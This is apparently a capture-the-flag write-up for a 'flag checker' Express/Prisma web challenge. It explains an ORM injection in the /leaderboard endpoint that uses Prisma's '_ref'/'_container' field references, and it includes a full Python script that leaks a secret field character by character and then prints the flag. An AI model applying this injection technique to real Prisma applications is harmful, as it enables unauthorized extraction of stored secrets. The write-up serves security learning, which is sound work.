Table of Contents
Participated as iwasaba team.
flag checkerLink to heading
SolutionLink to heading
OverviewLink to heading
The challenge provides a typescript web application built with express and prisma.
First, we can create, login, and update users.
The User model is defined as follows:
model User { id Int @id @default(autoincrement()) username String @unique password String answer String stage Int @default(0) token Int @default(3)
createdAt DateTime @default(now())}On register, user answer field value is created with random string formatted as KyCor{<random hex string>}.
const generateAnswer = () => { return "KyCor{" + crypto.randomBytes(8).toString("hex") + "}";};
...
app.post("/register", async (req: Request, res: Response) => { try { const { username, password } = req.body; if ( !username || !password || typeof username !== "string" || typeof password !== "string" ) { return res.status(200).json({ error: "Signup failed." }); }
const isUserExist = await prisma.user.findUnique({ where: { username } });
if (isUserExist) { return res.status(200).json({ error: "Signup failed." }); }
const hashedPassword = bcrypt.hashSync(password, 10);
await prisma.user.create({ data: { username, password: hashedPassword, answer: generateAnswer(), }, });
res.status(200).json({ message: "Signup successful" }); } catch (error) { res.status(200).json({ error: "Signup failed." }); }});To get the flag, we need to find and submit the correct answer field value of the user.
When we submit the correct answer, we can increase the stage and it resets the answer field value.
If we reach the last stage (which is 9), then the flag is revealed to the user.
app.post("/answer", async (req: Request, res: Response) => { try { if (!req.session.user) { return res.status(200).json({ error: "Answer failed." }); }
const { answer } = req.body; if (!answer || typeof answer !== "string") { return res.status(200).json({ error: "Answer failed." }); }
const user = await prisma.user.findUnique({ where: { id: req.session.user }, }); if (!user) { return res.status(200).json({ error: "Answer failed." }); }
if (user.token <= 0) { return res.status(200).json({ error: "You have no token." }); }
if (user.answer === answer) { if (user.stage === LAST_STAGE) { return res.status(200).json({ message: FLAG }); }
user.stage = user.stage + 1; await prisma.user.update({ where: { id: user.id }, data: { stage: user.stage, answer: generateAnswer() }, }); return res.status(200).json({ message: "Answer correct" }); } else { await prisma.user.update({ where: { id: user.id }, data: { token: user.token - 1 }, }); return res.status(200).json({ error: "Answer incorrect" }); } } catch (error) { res.status(200).json({ error: "Answer failed." }); }});Now the problem is how to find the correct answer field value.
We can use the /leaderboard and /update endpoints to find the correct answer field value.
app.post("/leaderboard", async (req: Request, res: Response) => { try { const { usernames, stage } = req.body; if (usernames && !Array.isArray(usernames)) { return res.status(200).json({ error: "Leaderboard failed." }); }
const whereStage = stage ? stage : LAST_STAGE; const where = !usernames || usernames.length === 0 ? { stage: whereStage } : { AND: [ { OR: usernames.map((username: string) => ({ username })), }, { stage: whereStage }, ], };
const result = await prisma.user.findMany({ where, select: { id: true, }, orderBy: { stage: "desc", }, });
return res .status(200) .json({ ids: result.map((user: { id: number }) => user.id), }); } catch (error) { res.status(200).json({ error: "Leaderboard failed." }); }});Since leaderboard endpoint puts usernames and stage as json, it is vulnerable to ORM injection.
Based on the prisma docs, we can use filters like gt, lt, gte, lte, ne, eq, contains, startsWith, endsWith, in, notIn, isNull, isNotNull, isNot, is, isNot to filter the results.
For example, we can use gt to filter the results to be greater than the given value.
const result = await prisma.user.findMany({ where: { stage: { gt: 0 }, },});If we just put gt without any value, it shows error that gt requires _ref and _container. Which means that prisma references the object using _ref and _container.
By using _ref and _container, we can reference the answer field of the User model.
{ "gt": { "_ref": "answer", "_container": "User" }}Now we can just compare the answer field value by keep updating our username using /update endpoint.
ExploitLink to heading
import requestsimport random
url = "http://3.37.112.26:3000/"
s = requests.Session()
s.get(url)
print(s.cookies)
username = random.randbytes(8).hex()password = random.randbytes(8).hex()
s.post(url + "/register", json={ "username": username, "password": password})
print(s.cookies)
s.post(url + "/login", json={ "username": username, "password": password})
stage = 0
# get my id firstres = s.post(url + "/leaderboard", json={"usernames": [{"equals": username}], "stage": { "in": [stage]}})
my_id = res.json()["ids"][0]print(my_id)
def update_username(new_username): global password new_password = random.randbytes(8).hex() res = s.post(url + "/update", json={ "username": new_username, "password": new_password, "oldPassword": password }) print(res.json()) password = new_password
def get_answer(): global stage answer = "KyCor{0000000000000000}" + random.randbytes(8).hex()
for i in range(16): for j in range(48, 0x7f): tmp_answer = answer[:6 + i] + chr(j) + answer[6 + i + 1:] update_username(tmp_answer) print(tmp_answer) res = s.post(url + "/leaderboard", json={"usernames": [ {"gt": {"_ref": "answer", "_container": "User"}}], "stage": { "in": [stage] }})
print(res.json()["ids"]) if my_id in res.json()["ids"]: if i == 15: answer = answer[:6 + i] + chr(j) + answer[6 + i + 1:] break answer = answer[:6 + i] + chr(j-1) + answer[6 + i + 1:] break
stage += 1 return answer[:23]
for i in range(10): _answer = get_answer() print(_answer) res = s.post(url + "/answer", json={"answer": _answer}) print(res.json())FlagLink to heading
CyKor{6cf5b241cb380bead8b22b6f3a9fe598}